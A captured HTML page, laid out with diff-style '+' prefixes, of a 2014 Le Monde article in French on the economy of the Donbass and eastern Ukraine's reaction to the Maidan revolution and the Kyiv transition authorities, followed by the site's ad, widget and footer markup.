+<p>Là où la Crimée compte 2 millions d'habitants, le Donbass, le bassin houiller de l'Est, regroupe environ 5 millions d'habitants, soit un dixième de la population ukrainienne sur un territoire densément peuplé. Et si la Crimée vit essentiellement du tourisme et de l'activité maritime de Sébastopol, l'est de l'Ukraine repose sur une économie industrielle variée, dont la population est la plus riche du pays : le PIB par habitant y est supérieur à celui du reste de l'Ukraine et les salaires y sont en moyenne deux fois plus élevés. Le Donbass est ainsi le principal contributeur au PIB ukrainien, à hauteur de 27,4 %.</p>
+<p>Forte de ses <a class="lien_interne rub" href="http://www.lemonde.fr/ressources-naturelles/">ressources naturelles</a> (charbon, fer, acier), la région s'est fortement spécialisée depuis la fin du XVIII<sup>e</sup> siècle dans l'<a class="lien_interne rub" href="http://www.lemonde.fr/industrie/">industrie</a> et fournit environ 20 % de la production industrielle et des exportations de l'Ukraine. En 2012, le Donbass a vendu pour 2,2 milliards d'euros de biens aussi bien à l'Europe qu'à la Russie en 2012.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401447_6_1bcd_carte-industrielle-de-l-ukraine_19920b98435f7e5f9cba041ad54bb80d.jpg" alt="Carte industrielle de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte industrielle de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<p>Mais ce poids industriel a un prix, notamment environnemental, d'autant que les infrastructures de ces régions sont anciennes. <em>« L'industrie du charbon connaît de grandes difficultés</em>, souligne Ioulia Shukan, <em>et nécessite d'énormes investissements dans les infrastructures, <em> voire des politiques de reconversion</em>, surtout dans le cas des mines d'Etat. En 2013, les régions de Donetsk et de Lougansk ont vécu grâce aux dotations publiques, c'est-à-dire qu'elles ont reçu plus de subventions de la part de l'Etat qu'elles n'ont versé de contributions. »</em></p>
+<p>L'opposition fréquemment mise en avant entre l'Est industriel de l'Ukraine et l'Ouest agricole, est à <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/relativiser">relativiser</a>. Outre la métallurgie et le charbon, l'économie des régions orientales repose également sur l'industrie chimique, la construction, ainsi que l'agriculture. Si le surnom de <em>« </em>grenier à blé<em> »</em> de l'Ukraine vaut surtout pour ses régions centrales, les oblasts de Dnipropetrovsk et de Kharkiv comptent eux aussi de fertiles « terres noires », les <em>tchernoziom</em>, permettant la <a class="lien_interne rub" href="http://www.lemonde.fr/culture/">culture</a> du blé, de l'orge, ou encore de la betterave, exportés vers l'Europe, la Russie, et de plus en plus, l'Asie.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401463_6_88d3_carte-agricole-de-l-ukraine_51c533b0754e20a2e42ff43b9e18081d.jpg" alt="Carte agricole de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte agricole de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<ul>
+<li><strong>Comment les régions de l'Est ont vécu la révolution de Maïdan</strong></li>
+</ul>
+<p>Depuis la destitution de Viktor Ianoukovitch par la Rada le 22 février, les grandes villes de l'Est ont été le théâtre, tous les week-ends, de manifestations d'opposition aux nouvelles autorités de Kiev. Les motifs de craintes sont nombreux, alimentés par la propagande des <a class="lien_interne rub" href="http://www.lemonde.fr/actualite-medias/">médias</a> russes, largement relayés dans ces régions : hostilité de Kiev vis-à-vis de la langue russe, craintes d'un <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/pouvoir">pouvoir</a> <em>« fasciste »</em> aux mains des Occidentaux, appréhensions quant aux conséquences économiques d'un rapprochement avec l'Europe...</p>
+<p>Pourtant, des habitants de l'Est ont participé durant l'hiver aux manifestations de Maïdan, contre la corruption du régime de Viktor Ianoukovitch. Mais le nouveau <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/pouvoir">pouvoir</a>, en place depuis fin février, a déconsidéré les populations de ces régions et ce n'est que le 11 avril que le premier ministre de transition, Arseni Iatseniouk, s'est rendu à Donetsk. Pour la chercheuse Ioulia Shukan, les négligences de Kiev tiennent à la nette fracture politique du pays : à quelques semaines d'un scrutin présidentiel prévu le 25 mai, les autorités de transition ont considéré que l'est de l'Ukraine, acquis au Parti des régions, n'était pas une terre de conquête électorale. <em>« <em>Alors que le malaise socio-économique des populations est important,</em> aucun effort n'a été déployé pour <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/rassurer">rassurer</a>, <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/faire">faire</a> de la pédagogie ou même <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/faire">faire</a> campagne dans ces territoires »</em>, estime Ioulia Shukan.</p>
+<p>Face à l'aggravation des tensions ces derniers jours dans l'Est, qui ont fait plusieurs morts, le président par intérim, Olexandre Tourtchinov, a pour la première fois évoqué, lundi 14 avril, la possible tenue d'un référendum sur le statut du pays, restant vague sur la question d'une fédéralisation de l'Ukraine. Mais désormais, c'est la tenue même du scrutin du 25 mai qui est compromise, face au risque d'implosion du pays.</p>
+ </div>
+
+ <p itemprop="author" class="auteur txt2_120"><div class="bg_gris_moyen signature">
+ <ul class="liste_bordure">
+ <li class="clearfix" itemprop="author">
+ <span class="identite">
+
+
+ <a href="/journaliste/mathilde-gerard/" target="_blank">
+<img data-placeholder="true" width="24" height="24" data-src="http://s2.lemde.fr/image/2014/03/22/24x24/1100511644_4_03da_13954998584667-capturer_2953ce62a1b4e9feafbd3a99b99382a6.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina" alt=" ">
+ </a>
+
+
+ <a href="/journaliste/mathilde-gerard/" target="_blank" class="gras">Mathilde G&eacute;rard</a>
+
+
+ <br><span class="txt_gris_clair">Journaliste au Monde</span>
+ </a>
+ </span>
+
+ <span class="suivre">
+ <strong class="txt1 txt_gris_moyen">Suivre</strong>
+ <a href="/journaliste/mathilde-gerard/" class="avatar13x13" target="_blank">Aller sur la page de ce journaliste</a>
+
+ <a href="https://twitter.com/MathiGerard" class="tw13x13">Suivre ce journaliste sur twitter</a>
+
+ </span>
+
+ </li>
+ </ul>
+</div>
+</p>
+ </article>
+
+ <div class="grid10 clearfix mgb16">
+ <a class="titre_bt_fleche call_to_discussion" href="/europe/discussion/2014/03/04/ukraine-quel-role-la-france-peut-elle-jouer-dans-le-reglement-du-conflit_4377494_3214.html">
+ <span class="tt3_capital tt_discussion"><span>discussion</span></span>
+ <span class="titre tt6">
+ Ukraine : que doivent faire les Europ&eacute;ens et les Am&eacute;ricains ?
+ </span>
+ <span class="bt"><span class="indicateur_droit indicateur_moyen"></span></span>
+ </a>
+</div>
+
+
+
+ <div class="position_pub" data-adformat="web_partenaire" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="23371">
+ <script>
+ //sas_manager.render(23371);
+ ADVERT_AD(['50270/361621', 23371, '', 'web_partenaire']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/23371/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/23371/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div class="position_pub" data-adformat="web_partenaire_2" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="23885">
+ <script>
+ //sas_manager.render(23885);
+ ADVERT_AD(['50270/361621', 23885, '', 'web_partenaire_2']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/23885/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/23885/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+ <div class="fb-like" data-send="true" data-width="450" data-show-faces="true" data-action="recommend"
+ data-font="arial"></div>
+ <div class="toolbar"></div>
+
+
+
+
+ <div class="conteneur_ligatus"><iframe src="" width="534" height="270" scrolling="no" frameborder="0" allowtransparency="true" seamless></iframe></div>
+<script>lmd.onload(function(){lmd.conf.fsw.ligatus&&require(["jquery","lmd/core/bizdev/ligatus","lib/jquery/plugin/jquery.waypoint"],function(a,b){a(".conteneur_ligatus iframe").waypoint(function(){b.init(".conteneur_ligatus")},{offset:"130%",triggerOnce:!0})})});</script>
+
+
+
+
+ <aside class="bloc_base meme_sujet">
+ <span class="entete txt6">Ukraine</span>
+ <div class="contenu">
+ <ul class="liste_chevron">
+ <li><a href="/europe/article/2014/04/15/en-ukraine-la-vraie-fausse-operation-antiterroriste-dans-l-est_4402015_3214.html">Ukraine : Vladimir Poutine en appelle &agrave; l'ONU
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/15/ville-apres-ville-l-est-de-l-ukraine-se-livre-aux-separatistes_4401376_3214.html">Ville apr&egrave;s ville, l&rsquo;est de l&rsquo;Ukraine se livre aux s&eacute;paratistes
+
+
+</a></li>
+ <li><a href="/europe/video/2014/04/14/la-russie-prend-elle-le-controle-de-l-ukraine_4400861_3214.html">La Russie prend-elle le contr&ocirc;le de l'Ukraine ?
+
+<span class="type_element mgl5"><span class="ico_video_mini"></span>Vidéo</span>
+</a></li>
+ </ul>
+ </div>
+
+ <span class="entete_exclu_abonnes"><em class="txt_img">Édition abonnés Contenu exclusif</em></span> <div class="contenu">
+ <ul class="liste_chevron">
+ <li><a href="/europe/article/2014/04/14/la-crise-de-sloviansk-menace-d-emporter-l-ukraine_4400756_3214.html">La crise de Sloviansk menace d&rsquo;emporter l&rsquo;Ukraine
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/11/generation-maidan_4399688_3214.html">G&eacute;n&eacute;ration Ma&iuml;dan
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/11/la-republique-de-donetsk-onze-etages-sans-ascenseur_4399683_3214.html">La &laquo; r&eacute;publique de Donetsk &raquo; ? Onze &eacute;tages sans ascenseur
+
+
+</a></li>
+ </ul>
+ </div>
+
+ <p class="bt"><span data-href="L2Fiby8/YW1wO2NsZWY9QkxPQ0FCT0FSVEJBUzE0" class="btn_abo obf" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'Clic_Abonnement','N');" title="Abonnez-vous au Monde à partir de 1 €">Abonnez-vous à partir de 1 €</span></p>
+</aside>
+
+ <div class="reco_cross_site_outbrain" id="reco_cross_site_outbrain">
+ <div class="OUTBRAIN" data-widget-id="AR_5" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_6" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_7" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_8" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+</div> <div id="liste_reactions"><div id="aj-1e8b67" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Reaction_Element/actionAfficherPreview/WzQ/0MD/A3N/DMsNV0-/?key=0b99d5edc1a0be4a22ceaea6249d3594cd69a0a3"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-1e8b67").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Reaction_Element/actionAfficherPreview/WzQ/0MD/A3N/DMsNV0-/?key=0b99d5edc1a0be4a22ceaea6249d3594cd69a0a3" })});</script></div>
+
+ <div class="rubriques_liees">
+ <a href="/guatemala/">Guatemala</a> &#9642; <a href="/koweit/">Kowe&iuml;t</a> &#9642; <a href="/togo/">Togo</a> &#9642; <a href="/europeennes-france/">France</a> &#9642; <a href="/mitt-romney/">Mitt Romney</a> &#9642; <a href="/montenegro/">Mont&eacute;n&eacute;gro</a> &#9642; <a href="/international/">International</a> &#9642; <a href="/royaume-uni/">Royaume-Uni</a> &#9642; <a href="/tibet/">Tibet</a> &#9642; <a href="/tanzanie/">Tanzanie</a> </div>
+
+
+ </div>
+
+ <div class="grid_6 omega col_droite">
+ <div id="aj-c27434" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Zone_Rotation/actionAfficherBlocsHaut/WzM/yMT/Rd/EMPTY/?key=365ea08ca7e9e3a9fa85cbfe495a66cbcdc102a8"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-c27434").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Zone_Rotation/actionAfficherBlocsHaut/WzM/yMT/Rd/EMPTY/?key=365ea08ca7e9e3a9fa85cbfe495a66cbcdc102a8" })});</script>
+
+<div class="position_pub" data-adformat="pave_haut" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21483">
+ <script>
+ //sas_manager.render(21483);
+ ADVERT_AD(['50270/361621', 21483, '', 'pave_haut']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21483/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21483/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+ <div id="aj-c65b1e" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Social_Pluspartages/actionAfficher/W3R/ydW/Vd/EMPTY/?key=e9c1df2637b3a3d3a2ba3035fdd06a727446de91"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-c65b1e").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Social_Pluspartages/actionAfficher/W3R/ydW/Vd/EMPTY/?key=e9c1df2637b3a3d3a2ba3035fdd06a727446de91" })});</script><div class="sociaux">
+ <p class="entete">Nous suivre</p>
+ <p class="pictos">
+ <span class="text">Retrouvez le meilleur de notre communauté</span>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5mYWNlYm9vay5jb20vbGVtb25kZS5mcg==" class="fb20x20 obf">Facebook</span><span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="tw20x20 obf">Twitter</span><span data-href="aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK0xlTW9uZGVmcg==" class="google20x20 obf">Google+</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vYmlsZS8=" class="mobile20x20 obf">Mobile</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Jzcy8=" class="rss20x20 obf">RSS</span> </p>
+</div>
+
+ <div class="position_pub" data-adformat="pave_milieu" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21484">
+ <script>
+ //sas_manager.render(21484);
+ ADVERT_AD(['50270/361621', 21484, '', 'pave_milieu']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21484/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21484/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div><div id="aj-6e587e" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Abonnes_AppelJelec/actionAfficher/W3R/ydW/UsI/kJMT0NBQk9BUlRDT0xEUjE0Il0-/?key=8b6254c0b89102f0d95ade6fd5204a54dd7769ba"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-6e587e").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Abonnes_AppelJelec/actionAfficher/W3R/ydW/UsI/kJMT0NBQk9BUlRDT0xEUjE0Il0-/?key=8b6254c0b89102f0d95ade6fd5204a54dd7769ba" })});</script>
+
+ <div id="aj-1634c3" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MSIsMV0-/?key=a0c2b399c6de31840e47d987f4bd696253bac35c"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-1634c3").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MSIsMV0-/?key=a0c2b399c6de31840e47d987f4bd696253bac35c" })});</script>
+
+ <div id="aj-fd73d2" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMD/gsI/npvbmVfcHJvbW90aW9uX2VkaXRvIiwxXQ--/?key=087f8b8a2e844eff33cf3a844722ba4ccfa9e3c6"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-fd73d2").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMD/gsI/npvbmVfcHJvbW90aW9uX2VkaXRvIiwxXQ--/?key=087f8b8a2e844eff33cf3a844722ba4ccfa9e3c6" })});</script><div id="aj-6f5b24" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Pave_Groupe_CourrierInternational/actionAfficherEurope/W10/-/EMPTY/EMPTY/?key=ceb78625aa7d19dc0801fd176a2cca82793a1e3f"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-6f5b24").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Pave_Groupe_CourrierInternational/actionAfficherEurope/W10/-/EMPTY/EMPTY/?key=ceb78625aa7d19dc0801fd176a2cca82793a1e3f" })});</script>
+
+ <div class="position_pub" data-adformat="pave_bas" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21485">
+ <script>
+ //sas_manager.render(21485);
+ ADVERT_AD(['50270/361621', 21485, '', 'pave_bas']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21485/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21485/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div id="aj-04867b" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MiIsMV0-/?key=46067fc21b9e0fba330519859b1ba8ce6bb0a7c6"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-04867b").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MiIsMV0-/?key=46067fc21b9e0fba330519859b1ba8ce6bb0a7c6" })});</script>
+
+ <div class="position_pub noborder" data-adformat="web_partenariat" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="22396">
+ <script>
+ //sas_manager.render(22396);
+ ADVERT_AD(['50270/361621', 22396, '', 'web_partenariat']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/22396/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/22396/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div class="position_pub noborder" data-adformat="logo_texte" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21492">
+ <script>
+ //sas_manager.render(21492);
+ ADVERT_AD(['50270/361621', 21492, '', 'logo_texte']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21492/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21492/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ </div>
+
+ </div>
+
+</div>
+<script>
+ require(["lmd/module/element/bootstrap"], function(bootstrap) {
+ var params = {};
+ params.toolbar = {};
+ params.toolbar.envoyer = {link: "http://www.lemonde.fr/envoyer-par-email/article/2014/04/15/4400743.html"};
+ params.toolbar.imprimer = {active:true};
+
+ bootstrap.init(params);
+ });
+
+ require(["lmd/ui/lecture-zen"], function(lectureZen) {
+ var instanceLectureZen = lectureZen.getInstance();
+ instanceLectureZen.init({
+ id: lmd.context.item.id,
+ envoyer: {link: "http://www.lemonde.fr/envoyer-par-email/article/2014/04/15/4400743.html"},
+ imprimer: {active:true}
+ });
+ });
+</script>
+
+<div class="OUTBRAIN" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-widget-id="TR_1" data-ob-template="lemonde" style="display:none"></div>
+<script>lmd.onload(function () { if (lmd.conf.fsw.outbrain) { require(["http://widgets.outbrain.com/outbrain.js"]); } } );</script>
+
+
+ <div class="position_pub" data-adformat="bottom" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21488">
+ <script>
+ //sas_manager.render(21488);
+ ADVERT_AD(['50270/361621', 21488, '', 'bottom']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21488/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21488/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div id="aj-fc9e9f" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Deroule_Bloc_Paves/actionAfficherBizdevOffre/WzM/yMT/Qsd/HJ1ZV0-/?key=2417784986db416a559f59526cbbb723b000f1de"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-fc9e9f").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Deroule_Bloc_Paves/actionAfficherBizdevOffre/WzM/yMT/Qsd/HJ1ZV0-/?key=2417784986db416a559f59526cbbb723b000f1de" })});</script>
+ <div id="aj-704004" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_General_Footer_Serviciel/actionAfficher/WyJ/SVU/JSS/VFVRV9TRVJWSUNFUyJd/?key=48ef2c0f4847cd071d1f0a44fc735c67dafe3a50"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-704004").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_General_Footer_Serviciel/actionAfficher/WyJ/SVU/JSS/VFVRV9TRVJWSUNFUyJd/?key=48ef2c0f4847cd071d1f0a44fc735c67dafe3a50" })});</script>
+ <div id="footer">
+ <div class="footer_gratuit txt3">
+ <a onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'Clic_Abonnement','N');" href="http://www.lemonde.fr/abo/?clef=LT_FOOTERHOME14" class="zone_abo" >
+ <div class="abonnement">
+ <p class="contenu">
+ <span>Le monde abonnements</span>
+ Profitez du journal où et quand vous voulez. Abonnements papier, offres 100 % numériques sur Web et tablette.
+ </p>
+ <p class="bt">
+ <span class="btn">S'abonner au Monde &agrave; partir de 1 &euro;</span>
+ </p>
+ </div>
+<img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" width="350" height="155" alt=" " data-src="//s1.lemde.fr/medias/web/1.2.652/img/elements_lm/footer_supports.png" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> </a>
+ <div class="deja_abonne">
+ <div>
+ <span class="accroche">Déjà abonné au<br>journal <em>Le Monde</em> ?</span>
+ <ul>
+ <li><span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3dlYi9hYm9wYXBpZXIvMSwyNy0wLDEtMCwwLmh0bWw=" class="obf">Activez votre accès à l'Édition abonnés du Monde.fr</span></li>
+ <li><span data-target="_blank" data-href="aHR0cDovL21vbmFiby5sZW1vbmRlLmZyLyN4dG9yPUFELTMyMjgwMDYx" class="obf">Gérez votre abonnement</span></li>
+ </ul>
+ </div>
+<img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" width="123" height="78" alt=" " data-src="//s1.lemde.fr/medias/web/1.2.652/img/elements_lm/footer_journaux.png" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> </div>
+ </div>
+
+ <div class="footer_listes">
+ <div>
+ <span class="titre">Les rubriques du Monde.fr</span>
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2ludGVybmF0aW9uYWwv" class="obf">International</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3BvbGl0aXF1ZS8=" class="obf">Politique</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NvY2lldGUv" class="obf">Société</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2Vjb25vbWllLw==" class="obf">Économie</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2N1bHR1cmUv" class="obf">Culture</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Nwb3J0Lw==" class="obf">Sport</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3RlY2hub2xvZ2llcy8=" class="obf">Techno</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3N0eWxlLw==" class="obf">Style</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3ZvdXMv" class="obf">Vous</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2lkZWVzLw==" class="obf">Idées</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3BsYW5ldGUv" class="obf">Planète</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2VkdWNhdGlvbi8=" class="obf">Éducation</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2Rpc3Bhcml0aW9ucy8=" class="obf">Disparitions</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NhbnRlLw==" class="obf">Santé</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vbmRlLWFjYWRlbWllLw==" class="obf">Monde Académie</span> </div>
+ <div>
+ <span class="titre">Les services du Monde</span>
+ <span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvI3h0b3I9QUQtOQ==" class="obf">La boutique du Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL2xlbW9uZGUtaG90ZWxzLmZyLyN4dG9yPUFELTE3" class="obf">Le Monde dans les hôtels</span> &#9642; <span data-target="" data-href="aHR0cDovL2FuZ2xhaXMubGVtb25kZS5mcg==" class="obf">Cours d'anglais</span> &#9642; <span data-target="" data-href="aHR0cDovL3ZvaXR1cmUtb2NjYXNpb24ubGVtb25kZS5mcg==" class="obf">Annonces auto</span> &#9642; <span data-target="" data-href="aHR0cDovL2ltbW9iaWxpZXIubGVtb25kZS5mci8=" class="obf">Annonces immo</span> &#9642; <span data-target="" data-href="aHR0cDovL3Nob3BwaW5nLmxlbW9uZGUuZnI=" class="obf">Shopping</span> &#9642; <span data-target="" data-href="aHR0cDovL2NyZWRpdC5sZW1vbmRlLmZyLw==" class="obf">Comparateur crédit</span> &#9642; <span data-target="" data-href="aHR0cDovL2RldmlzLXRyYXZhdXgubGVtb25kZS5mci8=" class="obf">Devis travaux</span> &#9642; <span data-target="" data-href="aHR0cDovL2Nvbmp1Z2Fpc29uLmxlbW9uZGUuZnI=" class="obf">Conjugaison</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Byb2dyYW1tZS10ZWxlLw==" class="obf">Programme télé</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2pldXgv" class="obf">Jeux</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21ldGVvLw==" class="obf">Météo</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3ByYXRpcXVlL3RyYWZpYy1pZGYuaHRtbA==" class="obf">Trafic</span> &#9642; <span data-target="" data-href="aHR0cDovL3ByaXgtaW1tb2JpbGllci5sZW1vbmRlLmZyL3ByaXgtaW1tb2JpbGllci8=" class="obf">Prix de l'immobilier</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3JlY3ljbGFnZXJlY3lsdW0ubGVtb25kZS5mci8g" class="obf">Recylum</span> </div>
+ <div id="links_partenaires">
+ <span class="titre">Sur le web</span>
+ <ul>
